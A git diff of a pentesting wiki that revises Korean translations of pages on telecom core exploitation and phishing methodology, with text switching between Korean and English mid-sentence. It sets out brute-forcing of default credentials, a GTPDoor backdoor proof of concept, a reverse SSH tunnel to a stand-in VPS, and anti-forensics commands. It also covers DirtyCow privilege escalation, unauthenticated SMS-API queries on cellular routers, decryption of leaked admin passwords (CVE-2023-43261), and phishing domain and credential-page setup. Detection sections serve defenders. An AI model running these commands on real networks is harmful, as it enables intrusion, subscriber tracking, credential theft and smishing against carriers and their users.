diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index 63a8c77f0..fcf23e788 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -3,25 +3,25 @@ {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) 종종 반신뢰된 GRX/IPX roaming 백본을 통과합니다. 평문 UDP로 전송되고 거의 인증이 없기 때문에, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. 다음 노트는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 현장에서 관찰된 offensive tricks를 모아둔 것입니다. +> 모바일 코어 프로토콜 (GPRS Tunnelling Protocol – GTP)은 종종 반신뢰성의 GRX/IPX 로밍 백본을 통해 전송됩니다. 이들은 거의 인증이 없는 평문 UDP 위에서 동작하기 때문에, **텔레콤 경계 내부의 어떤 발판이라도 보통 코어 시그널링 플레인에 직접 도달할 수 있습니다**. 다음 노트는 실전에서 관찰된 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대한 공격 기법을 정리합니다. ## 1. Recon & Initial Access ### 1.1 Default OSS / NE Accounts -놀랍게도 많은 벤더 네트워크 엘리먼트가 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 같은 하드코드된 SSH/Telnet 사용자 계정과 함께 출하됩니다. 전용 wordlist는 brute-force 성공률을 극적으로 높입니다: +상당히 많은 벤더의 네트워크 요소들이 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 같은 하드코딩된 SSH/Telnet 사용자 계정을 탑재한 채 출하됩니다. 전용 워드리스트는 brute-force 성공률을 극적으로 높입니다: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -장치가 management VRF만 노출하고 있다면, 먼저 jump host를 통해 pivot하세요(아래 «SGSN Emu Tunnel» 섹션 참조). +장치가 관리 VRF만 노출하는 경우, 먼저 pivot through a jump host 하십시오 (see section «SGSN Emu Tunnel» below). -### 1.2 Host Discovery inside GRX/IPX -대부분의 GRX 사업자는 백본 전반에 걸쳐 **ICMP echo**를 여전히 허용합니다. `masscan`의 내장 `gtpv1` UDP 프로브를 결합하여 GTP-C 리스너를 빠르게 매핑하세요: +### 1.2 GRX/IPX 내부 호스트 검색 +대부분의 GRX operators는 아직도 백본 전반에 걸쳐 **ICMP echo**를 허용합니다. `masscan`과 내장 `gtpv1` UDP probes를 결합해 GTP-C listeners를 빠르게 매핑하십시오: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` ## 2. 가입자 열거 – `cordscan` -다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재 **SGSN / MME**와 때로는 가입자가 방문한 PLMN을 알려줍니다. +다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재의 **SGSN / MME**와, 때때로 가입자가 방문한 PLMN을 보여줍니다. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` -주요 플래그: +Key flags: - `--imsi` 대상 가입자 IMSI - `--oper` Home / HNI (MCC+MNC) -- `-w` raw 패킷을 pcap으로 기록 +- `-w` raw 패킷을 pcap에 기록 -바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있습니다: +Important constants inside the binary can be patched to widen scans: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. Code Execution over GTP – `GTPDoor` +## 3. GTP를 통한 코드 실행 – `GTPDoor` -`GTPDoor`는 작은 ELF 서비스로, **UDP 2123에 바인드하고 들어오는 모든 GTP-C 패킷을 파싱합니다**. 페이로드가 pre-shared tag로 시작하면, 나머지는 AES-128-CBC로 복호화되어 `/bin/sh -c`를 통해 실행됩니다. stdout/stderr는 **Echo Response** 메시지 내부로 exfiltrated되어 외부 세션이 전혀 생성되지 않습니다. +`GTPDoor`는 UDP 2123에 바인딩하고 들어오는 모든 GTP-C 패킷을 파싱하는 작은 ELF 서비스입니다. 페이로드가 사전 공유된 태그로 시작하면 나머지는 (AES-128-CBC)로 복호화되어 `/bin/sh -c`로 실행됩니다. stdout/stderr는 **Echo Response** 메시지 안에 유출되어 외부로 향하는 세션은 전혀 생성되지 않습니다. 최소 PoC 패킷 (Python): ```python @@ -54,22 +54,22 @@ print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` 탐지: * SGSN IPs로 **unbalanced Echo Requests**를 보내는 모든 호스트 -* GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)일 때 — 규격과의 편차 +* message type = 1 (Echo)인 동안 GTP version flag가 1로 설정됨 — 규격과의 편차 -## 4. 코어를 통한 Pivoting +## 4. Pivoting 코어를 통해 ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN`는 **실제 GGSN/PGW를 향해 PDP context를 설정할 수 있는** SGSN 에뮬레이터를 제공합니다. 협상되면, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받습니다. +`OsmoGGSN`는 실제 GGSN/PGW 쪽으로 PDP context를 **설정할 수 있는** SGSN emulator를 포함한다. 협상이 완료되면, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받는다. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -적절한 firewall hair-pinning으로 이 터널은 signalling-only VLANs를 우회하여 직접 **data plane**에 접근합니다. +With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**. ### 4.2 SSH Reverse Tunnel over Port 53 -DNS는 roaming infrastructures에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 listening on :53으로 노출시키고 집에서 나중에 접속하세요: +DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 :53에서 수신(listening)하는 VPS에 노출시키고 집에서 나중에 접속하세요: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` @@ -79,11 +79,11 @@ VPS에서 `GatewayPorts yes`가 활성화되어 있는지 확인하세요. | 채널 | 전송 | 디코딩 | 비고 | |---------|-----------|----------|-------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 순수한 수동 리스너, 아웃바운드 트래픽 없음 | -| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인 감시 | -| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 합법적인 GTP-C 트래픽과 섞여 작동 | +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 순수 수동 리스너, 아웃바운드 트래픽 없음 | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인을 감시함 | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 정상 GTP-C 트래픽과 섞임 | -모든 implants는 watchdogs를 구현하며, 충돌 시 그들의 binaries를 **timestomp**하고 re-spawn합니다. +모든 implants는 watchdogs를 구현하여 충돌하면 바이너리에 **timestomp**을 수행하고 re-spawn합니다. ## 6. 방어 회피 치트시트 ```bash @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. 구형 NE에서의 Privilege Escalation +## 7. 레거시 NE에서 권한 상승 ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -116,74 +116,74 @@ python3 exploit_userspec.py userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` -## 8. 도구 모음 +## 8. Tool Box * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 이전 섹션에서 설명한 custom tooling. -* `FScan` : intranet TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`) +* `FScan` : 인트라넷 TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD -* `Microsocks` + `ProxyChains` : 경량 SOCKS5 pivoting -* `FRP` (≥0.37) : NAT traversal / asset bridging +* `Microsocks` + `ProxyChains` : 경량 SOCKS5 피벗팅 +* `FRP` (≥0.37) : NAT traversal / 자산 브리징 -## 9. 5G NAS Registration 공격: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay +## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay -5G 등록 절차는 NGAP 위의 NAS(Non-Access Stratum)에서 실행된다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 보안 비활성 창(window)은 N2 트래픽을 관찰하거나 변조할 수 있는 경우(예: 코어 내부 온-패스, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다. +5G 등록 절차는 NGAP 위의 NAS(Non-Access Stratum) 상에서 동작합니다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증/암호화되지 않습니다. 이 보안 이전 창(pre-security window)은 N2 트래픽을 관찰하거나 변조할 수 있을 때(예: 코어 내부의 on-path, rogue gNB, 또는 testbed) 여러 공격 경로를 허용합니다. -Registration 흐름(단순화): -- Registration Request: UE가 SUCI(SUPI 암호화)를 전송하고 capabilities를 보낸다. -- Authentication: AMF/AUSF가 RAND/AUTN을 보내고; UE는 RES*를 반환한다. -- Security Mode Command/Complete: NAS 무결성 및 암호화가 협상되어 활성화된다. +Registration flow (간단히): +- Registration Request: UE가 SUCI (암호화된 SUPI) 및 capabilities를 전송. +- Authentication: AMF/AUSF가 RAND/AUTN을 보내고 UE가 RES*를 반환. +- Security Mode Command/Complete: NAS 무결성 및 암호화가 협상되어 활성화됨. - PDU Session Establishment: IP/QoS 설정. -Lab 설정 팁 (non-RF): -- Core: Open5GS 기본 배포로 흐름을 재현하기에 충분하다. -- UE: simulator 또는 테스트 UE; Wireshark로 디코드. -- Active tooling: 5GReplay (NAS를 NGAP 내에서 캡처/수정/재전송), Sni5Gect (완전한 rogue gNB를 띄우지 않고 NAS를 실시간으로 스니핑/패치/인젝션). +랩 환경 팁 (비-RF): +- Core: Open5GS 기본 배포로 흐름 재현에 충분함. +- UE: 시뮬레이터 또는 테스트 UE; Wireshark로 디코드. +- Active tooling: 5GReplay (NGAP 내 NAS 캡처/수정/재전송), Sni5Gect (전체 rogue gNB를 띄우지 않고 NAS를 실시간으로 스니핑/패치/주입). - Wireshark에서 유용한 display filter: - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI -예상 동작: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)만 전송해야 한다. Registration Request에서 평문 SUPI/IMSI가 발견되면 지속적인 가입자 추적을 가능하게 하는 개인정보 보호 결함을 의미한다. +예상 동작: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)를 전송해야 합니다. Registration Request에서 평문 SUPI/IMSI가 발견되면, 이는 지속적인 가입자 추적을 가능하게 하는 개인정보 보호 결함을 의미합니다. 테스트 방법: -- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사한다. -- Wireshark 빠른 점검: -- SUCI로 디코드되어야 하며, IMSI로 디코드되어서는 안 된다. -- 필터 예: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`가 있어야 한다; 없고 대신 `imsi`가 존재하면 노출(leak)이다. +- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사. +- Wireshark 빠른 검사: +- SUCI로 디코드되어야 하며, IMSI로는 디코드되지 않아야 함. +- 필터 예시: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`가 존재해야 함; 해당 항목이 없고 `imsi`가 존재하면 노출을 나타냅니다. -수집할 항목: -- 노출된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치 별로 추적한다. +수집 항목: +- 노출된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치에 따라 추적. -완화책: -- SUCI 전용 UE/USIM 강제; 초기 NAS에서 IMSI/SUPI가 감지되면 경보. +완화: +- SUCI 전용 UE/USIM 강제 적용; 초기 NAS에서 IMSI/SUPI가 나타나면 경보. ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) 배경: -- UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고한다. -- 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘이다. +- UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고합니다. +- 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘입니다. 문제: -- Registration Request는 무결성 보호되지 않기 때문에, 온-패스 공격자가 capability 비트를 지워 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 응급 서비스 외부에서 null 알고리즘을 잘못 허용한다. +- Registration Request는 무결성 보호되지 않으므로, on-path 공격자가 capability 비트를 제거하여 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있습니다. 일부 스택은 긴급 서비스 외부에서도 null 알고리즘을 허용하는 잘못된 동작을 보입니다. -공격 단계: -- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정한다. -- Sni5Gect로 NAS 메시지를 훅(hook)하고 전달 전에 capability 비트를 패치한다. -- AMF가 null 암호/무결성을 수락하여 Security Mode를 EEA0/EIA0로 완료하는지 관찰한다. +공격 절차: +- InitialUEMessage를 가로채어 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정. +- Sni5Gect로 NAS 메시지를 훅하고 전달 전에 capability 비트를 패치. +- AMF가 null cipher/무결성을 수용하고 Security Mode를 EEA0/EIA0로 완료하는지 관찰. 검증/가시성: -- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인한다. -- 예시 수동 스니퍼 출력: +- Wireshark에서 Security Mode Command/Complete 이후 선택된 알고리즘을 확인. +- 예시 passive sniffer 출력: ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` -Mitigations (must): -- AMF/policy를 구성하여 엄격히 요구되는 경우(예: emergency calls)를 제외하고 EEA0/EIA0를 거부하도록 설정한다. -- 최소한 EEA2/EIA2 적용을 권장한다; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로깅 및 경보를 설정한다. +완화 조치 (필수): +- AMF/policy를 구성하여 EEA0/EIA0를 엄격히 요구되는 경우(예: 긴급 통화)를 제외하고 거부하도록 설정한다. +- 가능한 경우 최소한 EEA2/EIA2를 강제 적용하고, null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로그 및 경보를 발생시킨다. -### 9.3 Replay of initial Registration Request (pre-security NAS) -초기 NAS는 무결성과 신선도가 부족하기 때문에 캡처된 InitialUEMessage+Registration Request를 AMF로 재전송(replay)할 수 있다. +### 9.3 초기 Registration Request 재생 (pre-security NAS) +초기 NAS는 무결성과 신선도가 부족하므로 캡처된 InitialUEMessage+Registration Request를 AMF로 재생할 수 있다. PoC rule for 5GReplay to forward matching replays: ```xml @@ -208,34 +208,93 @@ boolean_expression="nas_5g.message_type == 65"/> ``` -관찰할 사항: -- AMF가 replay를 수용하고 Authentication으로 진행하는지; freshness/context 검증의 부재는 노출을 의미함. +What to observe: +- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure. -완화 대책: -- AMF에서 replay protection/context binding을 적용; GNB/UE별로 rate-limit 및 상관관계 적용. +Mitigations: +- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE. -### 9.4 도구 포인터 (재현 가능) -- Open5GS: AMF/SMF/UPF를 띄워 core를 에뮬레이트; N2 (NGAP) 및 NAS 관찰. -- Wireshark: NGAP/NAS 디코드 확인; 위의 필터를 적용해 Registration을 분리. -- 5GReplay: registration을 캡처한 뒤 규칙대로 특정 NGAP + NAS 메시지를 replay. -- Sni5Gect: NAS control-plane을 실시간 sniff/modify/inject하여 null algorithms를 강제하거나 authentication 시퀀스를 교란. +### 9.4 Tooling pointers (reproducible) +- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS. +- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration. +- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. +- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. -### 9.5 방어 체크리스트 -- Registration Request를 지속적으로 검사하여 평문 SUPI/IMSI 존재 여부 확인; 문제 장치/USIM 차단. -- EEA0/EIA0는 좁게 정의된 비상 절차를 제외하고 거부; 최소 EEA2/EIA2 요구. -- 무단 또는 잘못 구성된 인프라 탐지: unauthorized gNB/AMF, 예기치 않은 N2 피어. -- null algorithms을 유발하거나 InitialUEMessage의 빈번한 replay를 초래하는 NAS security modes에 대해 경보. +### 9.5 Defensive checklist +- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs. +- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2. +- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. +- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage. --- -## 탐지 아이디어 -1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. -2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. -3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. -4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. -5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). -6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. -## References +## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) + +Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at `/cgi`. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS. + +Typical unauthenticated requests (same structure for inbox/outbox): +```http +POST /cgi HTTP/1.1 +Host: +Content-Type: application/json + +{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } +``` + +```json +{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } +``` +응답에는 `timestamp`, `content`, `phone_number` (E.164), 및 `status` (`success` 또는 `failed`) 같은 필드가 포함됩니다. 동일한 번호로 반복되는 `failed` 전송은 공격자가 대량 전송(blasting) 전에 라우터/SIM이 전달 가능한지 확인하기 위한 “capability checks”인 경우가 많습니다. + +SMS metadata를 exfiltrate하기 위한 예시 curl: +```bash +curl -sk -X POST http:///cgi \ +-H 'Content-Type: application/json' \ +-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' +``` +auth 아티팩트에 대한 메모: +- 일부 트래픽에는 auth cookie가 포함될 수 있지만, 관리 인터페이스가 인터넷에 노출된 경우 노출된 장치의 상당수가 `query_inbox`/`query_outbox`에 대해 인증 없이 응답합니다. +- 인증이 필요한 환경에서는 previously-leaked credentials (아래 참조)로 접근이 복구됩니다. + +Credential recovery path – CVE-2023-43261: +- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). +- Issue: web-served logs (e.g., `httpd.log`) are reachable unauthenticated under `/lang/log/` and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript. +- Practical access and decrypt: +```bash +curl -sk http:///lang/log/httpd.log | sed -n '1,200p' +# Look for entries like: {"username":"admin","password":""} +``` +leaked 비밀번호를 복호화하기 위한 최소한의 Python (AES-128-CBC, 하드코딩된 key/IV): +```python +import base64 +from Crypto.Cipher import AES +from Crypto.Util.Padding import unpad +KEY=b'1111111111111111'; IV=b'2222222222222222' +enc_b64='...' # value from httpd.log +print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) +``` +Hunting and detection ideas (network): +- 인증되지 않은 `POST /cgi` 에 대해 JSON 본문에 `base`/`function` 이 `query_inbox` 또는 `query_outbox` 로 설정된 경우 경보. +- 동일한 소스 IP에서 많은 고유 번호에 걸쳐 `POST /cgi` 반복 폭발이 발생하고 이후 `status":"failed"` 항목이 따라오는지 추적(능력 테스트). +- Internet에 노출된 Milesight 라우터 목록화; 관리 접근을 VPN으로 제한; 필요한 경우가 아니면 SMS 기능 비활성화; ≥ v35.3.0.7 로 업그레이드; 자격증명 교체 및 알 수 없는 전송에 대한 SMS 로그 검토. + +Shodan/OSINT pivots (examples seen in the wild): +- `http.html:"rt_title"` 는 Milesight 라우터 패널과 매칭. +- 노출된 로그를 위한 Google dorking: `"/lang/log/system" ext:log`. + +Operational impact: 라우터 내부에 정식 통신사 SIMs 를 사용하면 phishing에 대해 매우 높은 SMS 전달률/신뢰도를 제공하며, inbox/outbox 노출은 대규모로 민감한 메타데이터를 leak 합니다. + +--- + +## 탐지 아이디어 +1. **SGSN/GGSN 이외의 장치가 Create PDP Context Requests 를 설정하는 경우**. +2. **비표준 포트(53, 80, 443)로 내부 IP에서 SSH 핸드셰이크를 수신하는 경우**. +3. **해당하는 Echo Responses 없이 빈번한 Echo Requests** – GTPDoor 비컨을 나타낼 수 있음. +4. **큰 비영(非0) identifier/sequence 필드를 가진 ICMP echo-reply 트래픽의 높은 비율**. +5. 5G: **동일한 엔드포인트에서 반복되는 NAS Registration Requests 를 담은 InitialUEMessage** (재생 신호). +6. 5G: **비응급 상황에서 NAS Security Mode 가 EEA0/EIA0 를 협상하는 경우**. + +## 참고 자료 - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) @@ -243,5 +302,8 @@ boolean_expression="nas_5g.message_type == 65"/> - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 33.501 – Security architecture and procedures for 5G System +- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) +- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) +- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index f179ab768..5dcff9c09 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -1,43 +1,43 @@ -# Phishing Methodology +# 피싱 방법론 {{#include ../../banners/hacktricks-training.md}} ## 방법론 -1. Recon으로 피해자 조사 -1. **victim domain** 선택. -2. 피해자가 사용하는 로그인 포털을 **검색하는** 기본적인 웹 열거를 수행하고, 어떤 포털을 **사칭할지** **결정**하세요. -3. 일부 **OSINT**를 사용하여 **이메일을 찾기**. -2. 환경 준비 -1. 피싱 평가에 사용할 **도메인 구매** -2. **이메일 서비스 관련 레코드 구성** (SPF, DMARC, DKIM, rDNS) -3. VPS에 **gophish** 구성 -3. 캠페인 준비 -1. **이메일 템플릿** 준비 -2. 자격 증명을 훔치기 위한 **웹 페이지** 준비 -4. 캠페인 시작! +1. Recon the victim +1. Select the **victim domain**. +2. Perform some basic web enumeration **searching for login portals** used by the victim and **decide** which one you will **impersonate**. +3. Use some **OSINT** to **find emails**. +2. Prepare the environment +1. **Buy the domain** you are going to use for the phishing assessment +2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS) +3. Configure the VPS with **gophish** +3. Prepare the campaign +1. Prepare the **email template** +2. Prepare the **web page** to steal the credentials +4. Launch the campaign! ## Generate similar domain names or buy a trusted domain ### Domain Name Variation Techniques -- **Keyword**: 도메인 이름이 원본 도메인의 중요한 **키워드**를 **포함**합니다 (예: zelster.com-management.com). -- **hypened subdomain**: 서브도메인의 **점(.)을 하이픈(-)으로 변경** (예: www-zelster.com). -- **New TLD**: 동일한 도메인에 **새 TLD** 사용 (예: zelster.org) -- **Homoglyph**: 도메인 이름의 문자를 **비슷해 보이는 문자**로 **대체**합니다 (예: zelfser.com). +- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). +- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). +- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org) +- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com). {{#ref}} homograph-attacks.md {{#endref}} -- **Transposition:** 도메인 이름 내에서 두 글자를 **교환**합니다 (예: zelsetr.com). -- **Singularization/Pluralization**: 도메인 이름 끝에 “s”를 추가하거나 제거합니다 (예: zeltsers.com). -- **Omission**: 도메인 이름에서 글자 하나를 **제거**합니다 (예: zelser.com). -- **Repetition:** 도메인 이름에서 글자 하나를 **반복**합니다 (예: zeltsser.com). -- **Replacement**: homoglyph보다 덜 은밀하게 문자를 교체합니다. 도메인 이름의 문자 하나를 원래 문자와 키보드상 근접한 문자로 교체할 수 있습니다 (예: zektser.com). -- **Subdomained**: 도메인 이름 안에 **점(.)**을 도입합니다 (예: ze.lster.com). -- **Insertion**: 도메인 이름에 글자 하나를 **삽입**합니다 (예: zerltser.com). -- **Missing dot**: 도메인 이름에 TLD를 붙여 넣습니다. (예: zelstercom.com) +- **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com). +- **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com). +- **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com). +- **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com). +- **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com). +- **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com). +- **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com). +- **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com) **Automatic Tools** @@ -52,20 +52,20 @@ homograph-attacks.md ### Bitflipping -저장되거나 통신 중인 비트 중 일부가 태양 플레어, 우주선, 또는 하드웨어 오류 등 다양한 요인으로 인해 자동으로 반전될 **가능성**이 있습니다. +There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors. -이 개념을 **DNS 요청에 적용**하면, DNS 서버가 수신한 **도메인**이 최초로 요청한 도메인과 동일하지 않을 수 있습니다. +When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested. -예를 들어, "windows.com" 도메인에서 한 비트가 바뀌면 "windnws.com"으로 변경될 수 있습니다. +For example, a single bit modification in the domain "windows.com" can change it to "windnws.com." -공격자는 피해자 도메인과 유사한 여러 개의 bit-flipping 도메인을 등록하여 이점을 **악용할 수 있습니다**. 그들의 의도는 정상 사용자를 자신들의 인프라로 리디렉션하는 것입니다. +Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure. For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) ### Buy a trusted domain -사용할 수 있는 만료된 도메인을 [https://www.expireddomains.net/](https://www.expireddomains.net)에서 검색할 수 있습니다.\ -구매하려는 만료 도메인이 이미 **좋은 SEO를 가지고 있는지** 확인하려면 다음에서 해당 도메인의 분류를 확인할 수 있습니다: +You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\ +In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in: - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) @@ -79,16 +79,16 @@ For more information read [https://www.bleepingcomputer.com/news/security/hijack - [https://anymailfinder.com/](https://anymailfinder.com) In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address 